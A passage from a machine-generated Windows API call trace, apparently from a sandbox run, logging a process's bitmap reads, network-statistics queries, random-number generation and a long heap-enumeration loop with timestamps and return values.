lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.688] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x2c0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.688] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x2d0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.688] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x2e0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.689] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x2f0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.689] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x300, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.689] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x310, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.689] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x320, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.690] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x330, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.690] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x340, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.690] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x350, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.690] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x360, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.691] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x370, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.691] DeleteObject (ho=0x50509cc) returned 1 [0115.691] ReleaseDC (hWnd=0x0, hDC=0x70109ed) returned 1 [0115.702] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a0ae0, Size=0x80) returned 0x2afeb8 [0115.702] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2afeb8, Size=0x100) returned 0x2afeb8 [0115.720] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2afeb8, Size=0x200) returned 0x2a0d08 [0115.729] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a0d08, Size=0x400) returned 0x2d22850 [0115.737] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d22850, Size=0x800) returned 0x2d24c58 [0115.744] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d24c58, Size=0x1000) returned 0x2d28c60 [0115.802] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d28c60, Size=0x2000) returned 0x2d2fc68 [0115.840] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d24e80 [0115.840] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d24e80, Size=0x40) returned 0x2d24e80 [0115.840] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d24e80, Size=0x80) returned 0x2d24e80 [0115.841] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d24e80, Size=0x100) returned 0x2d24e80 [0115.841] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d24e80, Size=0x200) returned 0x2d24e80 [0115.841] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d25088 [0115.843] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x77710000 [0115.843] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76d30000 [0115.905] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x75650000 [0115.907] GetProcAddress (hModule=0x75650000, lpProcName="NetStatisticsGet") returned 0x7565644f [0115.908] GetProcAddress (hModule=0x75650000, lpProcName="NetApiBufferFree") returned 0x756413d2 [0115.908] NetStatisticsGet (in: ServerName=0x0, Service=0x110fafa0, Level=0x0, Options=0x0, Buffer=0x18f6ac | out: Buffer=0x18f6ac) returned 0x0 [0115.908] GetCurrentThreadId () returned 0x9fc [0115.908] GetCurrentThreadId () returned 0x9fc [0115.908] GetCurrentThreadId () returned 0x9fc [0115.908] GetCurrentThreadId () returned 0x9fc [0115.909] GetCurrentThreadId () returned 0x9fc [0115.909] GetCurrentThreadId () returned 0x9fc [0115.909] GetCurrentThreadId () returned 0x9fc [0115.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.909] NetApiBufferFree (Buffer=0x2f42c0) returned 0x0 [0115.909] NetStatisticsGet (in: ServerName=0x0, Service=0x110faf78, Level=0x0, Options=0x0, Buffer=0x18f6ac | out: Buffer=0x18f6ac) returned 0x0 [0115.910] GetCurrentThreadId () returned 0x9fc [0115.910] GetCurrentThreadId () returned 0x9fc [0115.910] GetCurrentThreadId () returned 0x9fc [0115.910] GetCurrentThreadId () returned 0x9fc [0115.910] GetCurrentThreadId () returned 0x9fc [0115.910] GetCurrentThreadId () returned 0x9fc [0115.910] GetCurrentThreadId () returned 0x9fc [0115.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.910] NetApiBufferFree (Buffer=0x2e3a90) returned 0x0 [0115.910] FreeLibrary (hLibModule=0x75650000) returned 1 [0115.910] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0115.910] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0115.910] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0115.911] CryptAcquireContextW (in: phProv=0x18f694, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18f694*=0x2eace8) returned 1 [0115.921] CryptGenRandom (in: hProv=0x2eace8, dwLen=0x40, pbBuffer=0x18fa1c | out: pbBuffer=0x18fa1c) returned 1 [0115.921] GetCurrentThreadId () returned 0x9fc [0115.921] GetCurrentThreadId () returned 0x9fc [0115.921] GetCurrentThreadId () returned 0x9fc [0115.921] GetCurrentThreadId () returned 0x9fc [0115.921] GetCurrentThreadId () returned 0x9fc [0115.921] GetCurrentThreadId () returned 0x9fc [0115.921] GetCurrentThreadId () returned 0x9fc [0115.921] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.921] CryptReleaseContext (hProv=0x2eace8, dwFlags=0x0) returned 1 [0115.921] CryptAcquireContextW (in: phProv=0x18f694, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x18f694*=0x2eace8) returned 0 [0115.922] FreeLibrary (hLibModule=0x77710000) returned 1 [0115.922] GetVersion () returned 0x1db10106 [0115.922] GetProcessWindowStation () returned 0x50 [0115.922] GetUserObjectInformationW (in: hObj=0x50, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x18f5dc | out: pvInfo=0x0, lpnLengthNeeded=0x18f5dc) returned 0 [0115.922] GetLastError () returned 0x7a [0115.922] GetUserObjectInformationW (in: hObj=0x50, nIndex=2, pvInfo=0x18f5b0, nLength=0x10, lpnLengthNeeded=0x18f5dc | out: pvInfo=0x18f5b0, lpnLengthNeeded=0x18f5dc) returned 1 [0115.922] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x77130000 [0115.922] GetProcAddress (hModule=0x77130000, lpProcName="GetForegroundWindow") returned 0x77152320 [0115.922] GetProcAddress (hModule=0x77130000, lpProcName="GetCursorInfo") returned 0x771a812f [0115.923] GetProcAddress (hModule=0x77130000, lpProcName="GetQueueStatus") returned 0x77153924 [0115.923] GetForegroundWindow () returned 0x100f8 [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0115.923] GetVersion () returned 0x1db10106 [0115.923] GetVersion () returned 0x1db10106 [0115.923] GetCursorInfo (in: pci=0x18f674 | out: pci=0x18f674) returned 1 [0115.923] GetQueueStatus (flags=0xbf) returned 0x0 [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] GetCurrentThreadId () returned 0x9fc [0115.923] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0115.924] FreeLibrary (hLibModule=0x77130000) returned 1 [0115.924] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0115.924] GetProcAddress (hModule=0x76d30000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0115.924] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32First") returned 0x76dc5763 [0115.924] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32Next") returned 0x76dc594e [0115.925] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListFirst") returned 0x76dc5621 [0115.925] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListNext") returned 0x76dc56cb [0115.925] GetProcAddress (hModule=0x76d30000, lpProcName="Process32First") returned 0x76d68ae7 [0115.925] GetProcAddress (hModule=0x76d30000, lpProcName="Process32Next") returned 0x76d688a4 [0115.925] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32First") returned 0x76dc5b93 [0115.925] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32Next") returned 0x76dc5c3f [0115.925] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0115.926] GetProcAddress (hModule=0x76d30000, lpProcName="Module32Next") returned 0x76dc5dc2 [0115.926] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x280 [0115.933] GetTickCount () returned 0x114fbbd [0115.933] Heap32ListFirst (hSnapshot=0x280, lphl=0x18f678) returned 1 [0115.934] GetCurrentThreadId () returned 0x9fc [0115.934] GetCurrentThreadId () returned 0x9fc [0115.934] GetCurrentThreadId () returned 0x9fc [0115.934] GetCurrentThreadId () returned 0x9fc [0115.934] GetCurrentThreadId () returned 0x9fc [0115.934] GetCurrentThreadId () returned 0x9fc [0115.934] GetCurrentThreadId () returned 0x9fc [0115.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.934] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0115.934] Heap32First (lphe=0x18f638, th32ProcessID=0xb7c, th32HeapID=0x2b0000) returned 1 [0115.942] GetCurrentThreadId () returned 0x9fc [0115.942] GetCurrentThreadId () returned 0x9fc [0115.942] GetCurrentThreadId () returned 0x9fc [0115.942] GetCurrentThreadId () returned 0x9fc [0115.942] GetCurrentThreadId () returned 0x9fc [0115.942] GetCurrentThreadId () returned 0x9fc [0115.942] GetCurrentThreadId () returned 0x9fc [0115.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0115.942] Heap32Next (lphe=0x18f638) returned 1 [0115.949] GetTickCount () returned 0x114fbcd [0115.949] GetCurrentThreadId () returned 0x9fc [0115.950] GetCurrentThreadId () returned 0x9fc [0115.950] GetCurrentThreadId () returned 0x9fc [0115.950] GetCurrentThreadId () returned 0x9fc [0115.950] GetCurrentThreadId () returned 0x9fc [0115.950] GetCurrentThreadId () returned 0x9fc [0115.950] GetCurrentThreadId () returned 0x9fc [0115.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0115.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0115.950] Heap32Next (lphe=0x18f638) returned 1 [0116.007] GetTickCount () returned 0x114fc0b [0116.007] GetCurrentThreadId () returned 0x9fc [0116.007] GetCurrentThreadId () returned 0x9fc [0116.007] GetCurrentThreadId () returned 0x9fc [0116.007] GetCurrentThreadId () returned 0x9fc [0116.007] GetCurrentThreadId () returned 0x9fc [0116.007] GetCurrentThreadId () returned 0x9fc [0116.007] GetCurrentThreadId () returned 0x9fc [0116.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.007] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.007] Heap32Next (lphe=0x18f638) returned 1 [0116.017] GetTickCount () returned 0x114fc1b [0116.017] GetCurrentThreadId () returned 0x9fc [0116.017] GetCurrentThreadId () returned 0x9fc [0116.017] GetCurrentThreadId () returned 0x9fc [0116.017] GetCurrentThreadId () returned 0x9fc [0116.017] GetCurrentThreadId () returned 0x9fc [0116.017] GetCurrentThreadId () returned 0x9fc [0116.017] GetCurrentThreadId () returned 0x9fc [0116.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.018] Heap32Next (lphe=0x18f638) returned 1 [0116.027] GetTickCount () returned 0x114fc1b [0116.027] GetCurrentThreadId () returned 0x9fc [0116.027] GetCurrentThreadId () returned 0x9fc [0116.027] GetCurrentThreadId () returned 0x9fc [0116.027] GetCurrentThreadId () returned 0x9fc [0116.027] GetCurrentThreadId () returned 0x9fc [0116.027] GetCurrentThreadId () returned 0x9fc [0116.027] GetCurrentThreadId () returned 0x9fc [0116.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.027] Heap32Next (lphe=0x18f638) returned 1 [0116.036] GetTickCount () returned 0x114fc1b [0116.036] GetCurrentThreadId () returned 0x9fc [0116.036] GetCurrentThreadId () returned 0x9fc [0116.036] GetCurrentThreadId () returned 0x9fc [0116.036] GetCurrentThreadId () returned 0x9fc [0116.038] GetCurrentThreadId () returned 0x9fc [0116.038] GetCurrentThreadId () returned 0x9fc [0116.038] GetCurrentThreadId () returned 0x9fc [0116.039] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.039] Heap32Next (lphe=0x18f638) returned 1 [0116.048] GetTickCount () returned 0x114fc3a [0116.048] GetCurrentThreadId () returned 0x9fc [0116.048] GetCurrentThreadId () returned 0x9fc [0116.048] GetCurrentThreadId () returned 0x9fc [0116.048] GetCurrentThreadId () returned 0x9fc [0116.048] GetCurrentThreadId () returned 0x9fc [0116.048] GetCurrentThreadId () returned 0x9fc [0116.048] GetCurrentThreadId () returned 0x9fc [0116.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.048] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.048] Heap32Next (lphe=0x18f638) returned 1 [0116.058] GetTickCount () returned 0x114fc3a [0116.058] GetCurrentThreadId () returned 0x9fc [0116.058] GetCurrentThreadId () returned 0x9fc [0116.058] GetCurrentThreadId () returned 0x9fc [0116.058] GetCurrentThreadId () returned 0x9fc [0116.058] GetCurrentThreadId () returned 0x9fc [0116.058] GetCurrentThreadId () returned 0x9fc [0116.058] GetCurrentThreadId () returned 0x9fc [0116.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.058] Heap32Next (lphe=0x18f638) returned 1 [0116.067] GetTickCount () returned 0x114fc4a [0116.067] GetCurrentThreadId () returned 0x9fc [0116.067] GetCurrentThreadId () returned 0x9fc [0116.067] GetCurrentThreadId () returned 0x9fc [0116.067] GetCurrentThreadId () returned 0x9fc [0116.068] GetCurrentThreadId () returned 0x9fc [0116.068] GetCurrentThreadId () returned 0x9fc [0116.068] GetCurrentThreadId () returned 0x9fc [0116.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.068] Heap32Next (lphe=0x18f638) returned 1 [0116.081] GetTickCount () returned 0x114fc59 [0116.081] GetCurrentThreadId () returned 0x9fc [0116.081] GetCurrentThreadId () returned 0x9fc [0116.081] GetCurrentThreadId () returned 0x9fc [0116.081] GetCurrentThreadId () returned 0x9fc [0116.081] GetCurrentThreadId () returned 0x9fc [0116.081] GetCurrentThreadId () returned 0x9fc [0116.081] GetCurrentThreadId () returned 0x9fc [0116.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.081] Heap32Next (lphe=0x18f638) returned 1 [0116.091] GetTickCount () returned 0x114fc59 [0116.091] GetCurrentThreadId () returned 0x9fc [0116.091] GetCurrentThreadId () returned 0x9fc [0116.091] GetCurrentThreadId () returned 0x9fc [0116.091] GetCurrentThreadId () returned 0x9fc [0116.091] GetCurrentThreadId () returned 0x9fc [0116.091] GetCurrentThreadId () returned 0x9fc [0116.091] GetCurrentThreadId () returned 0x9fc [0116.091] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.091] Heap32Next (lphe=0x18f638) returned 1 [0116.100] GetTickCount () returned 0x114fc69 [0116.100] GetCurrentThreadId () returned 0x9fc [0116.100] GetCurrentThreadId () returned 0x9fc [0116.100] GetCurrentThreadId () returned 0x9fc [0116.100] GetCurrentThreadId () returned 0x9fc [0116.100] GetCurrentThreadId () returned 0x9fc [0116.100] GetCurrentThreadId () returned 0x9fc [0116.101] GetCurrentThreadId () returned 0x9fc [0116.101] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.101] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.101] Heap32Next (lphe=0x18f638) returned 1 [0116.110] GetTickCount () returned 0x114fc78 [0116.110] GetCurrentThreadId () returned 0x9fc [0116.110] GetCurrentThreadId () returned 0x9fc [0116.110] GetCurrentThreadId () returned 0x9fc [0116.110] GetCurrentThreadId () returned 0x9fc [0116.110] GetCurrentThreadId () returned 0x9fc [0116.110] GetCurrentThreadId () returned 0x9fc [0116.110] GetCurrentThreadId () returned 0x9fc [0116.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.110] Heap32Next (lphe=0x18f638) returned 1 [0116.120] GetTickCount () returned 0x114fc78 [0116.120] GetCurrentThreadId () returned 0x9fc [0116.120] GetCurrentThreadId () returned 0x9fc [0116.120] GetCurrentThreadId () returned 0x9fc [0116.120] GetCurrentThreadId () returned 0x9fc [0116.120] GetCurrentThreadId () returned 0x9fc [0116.120] GetCurrentThreadId () returned 0x9fc [0116.120] GetCurrentThreadId () returned 0x9fc [0116.120] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.120] Heap32Next (lphe=0x18f638) returned 1 [0116.192] GetTickCount () returned 0x114fcc6 [0116.192] GetCurrentThreadId () returned 0x9fc [0116.192] GetCurrentThreadId () returned 0x9fc [0116.192] GetCurrentThreadId () returned 0x9fc [0116.192] GetCurrentThreadId () returned 0x9fc [0116.192] GetCurrentThreadId () returned 0x9fc [0116.192] GetCurrentThreadId () returned 0x9fc [0116.192] GetCurrentThreadId () returned 0x9fc [0116.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.192] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.192] Heap32Next (lphe=0x18f638) returned 1 [0116.202] GetTickCount () returned 0x114fcd6 [0116.202] GetCurrentThreadId () returned 0x9fc [0116.202] GetCurrentThreadId () returned 0x9fc [0116.202] GetCurrentThreadId () returned 0x9fc [0116.202] GetCurrentThreadId () returned 0x9fc [0116.202] GetCurrentThreadId () returned 0x9fc [0116.202] GetCurrentThreadId () returned 0x9fc [0116.202] GetCurrentThreadId () returned 0x9fc [0116.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.202] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.202] Heap32Next (lphe=0x18f638) returned 1 [0116.215] GetTickCount () returned 0x114fcd6 [0116.215] GetCurrentThreadId () returned 0x9fc [0116.215] GetCurrentThreadId () returned 0x9fc [0116.215] GetCurrentThreadId () returned 0x9fc [0116.215] GetCurrentThreadId () returned 0x9fc [0116.216] GetCurrentThreadId () returned 0x9fc [0116.216] GetCurrentThreadId () returned 0x9fc [0116.216] GetCurrentThreadId () returned 0x9fc [0116.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.216] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.216] Heap32Next (lphe=0x18f638) returned 1 [0116.229] GetTickCount () returned 0x114fce6 [0116.229] GetCurrentThreadId () returned 0x9fc [0116.229] GetCurrentThreadId () returned 0x9fc [0116.229] GetCurrentThreadId () returned 0x9fc [0116.229] GetCurrentThreadId () returned 0x9fc [0116.229] GetCurrentThreadId () returned 0x9fc [0116.229] GetCurrentThreadId () returned 0x9fc [0116.229] GetCurrentThreadId () returned 0x9fc [0116.229] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.230] Heap32Next (lphe=0x18f638) returned 1 [0116.239] GetTickCount () returned 0x114fcf5 [0116.239] GetCurrentThreadId () returned 0x9fc [0116.239] GetCurrentThreadId () returned 0x9fc [0116.239] GetCurrentThreadId () returned 0x9fc [0116.239] GetCurrentThreadId () returned 0x9fc [0116.239] GetCurrentThreadId () returned 0x9fc [0116.239] GetCurrentThreadId () returned 0x9fc [0116.239] GetCurrentThreadId () returned 0x9fc [0116.239] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.239] Heap32Next (lphe=0x18f638) returned 1 [0116.248] GetTickCount () returned 0x114fcf5 [0116.249] GetCurrentThreadId () returned 0x9fc [0116.327] GetCurrentThreadId () returned 0x9fc [0116.327] GetCurrentThreadId () returned 0x9fc [0116.327] GetCurrentThreadId () returned 0x9fc [0116.327] GetCurrentThreadId () returned 0x9fc [0116.327] GetCurrentThreadId () returned 0x9fc [0116.327] GetCurrentThreadId () returned 0x9fc [0116.328] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.328] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.328] Heap32Next (lphe=0x18f638) returned 1 [0116.337] GetTickCount () returned 0x114fd53 [0116.337] GetCurrentThreadId () returned 0x9fc [0116.337] GetCurrentThreadId () returned 0x9fc [0116.337] GetCurrentThreadId () returned 0x9fc [0116.337] GetCurrentThreadId () returned 0x9fc [0116.337] GetCurrentThreadId () returned 0x9fc [0116.337] GetCurrentThreadId () returned 0x9fc [0116.337] GetCurrentThreadId () returned 0x9fc [0116.338] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.338] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.338] Heap32Next (lphe=0x18f638) returned 1 [0116.347] GetTickCount () returned 0x114fd62 [0116.347] GetCurrentThreadId () returned 0x9fc [0116.347] GetCurrentThreadId () returned 0x9fc [0116.347] GetCurrentThreadId () returned 0x9fc [0116.347] GetCurrentThreadId () returned 0x9fc [0116.347] GetCurrentThreadId () returned 0x9fc [0116.347] GetCurrentThreadId () returned 0x9fc [0116.347] GetCurrentThreadId () returned 0x9fc [0116.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.347] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.347] Heap32Next (lphe=0x18f638) returned 1 [0116.357] GetTickCount () returned 0x114fd62 [0116.357] GetCurrentThreadId () returned 0x9fc [0116.357] GetCurrentThreadId () returned 0x9fc [0116.357] GetCurrentThreadId () returned 0x9fc [0116.357] GetCurrentThreadId () returned 0x9fc [0116.357] GetCurrentThreadId () returned 0x9fc [0116.357] GetCurrentThreadId () returned 0x9fc [0116.357] GetCurrentThreadId () returned 0x9fc [0116.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.357] Heap32Next (lphe=0x18f638) returned 1 [0116.400] GetTickCount () returned 0x114fd91 [0116.400] GetCurrentThreadId () returned 0x9fc [0116.400] GetCurrentThreadId () returned 0x9fc [0116.400] GetCurrentThreadId () returned 0x9fc [0116.400] GetCurrentThreadId () returned 0x9fc [0116.400] GetCurrentThreadId () returned 0x9fc [0116.400] GetCurrentThreadId () returned 0x9fc [0116.400] GetCurrentThreadId () returned 0x9fc [0116.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.401] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.401] Heap32Next (lphe=0x18f638) returned 1 [0116.410] GetTickCount () returned 0x114fda1 [0116.410] GetCurrentThreadId () returned 0x9fc [0116.410] GetCurrentThreadId () returned 0x9fc [0116.410] GetCurrentThreadId () returned 0x9fc [0116.410] GetCurrentThreadId () returned 0x9fc [0116.410] 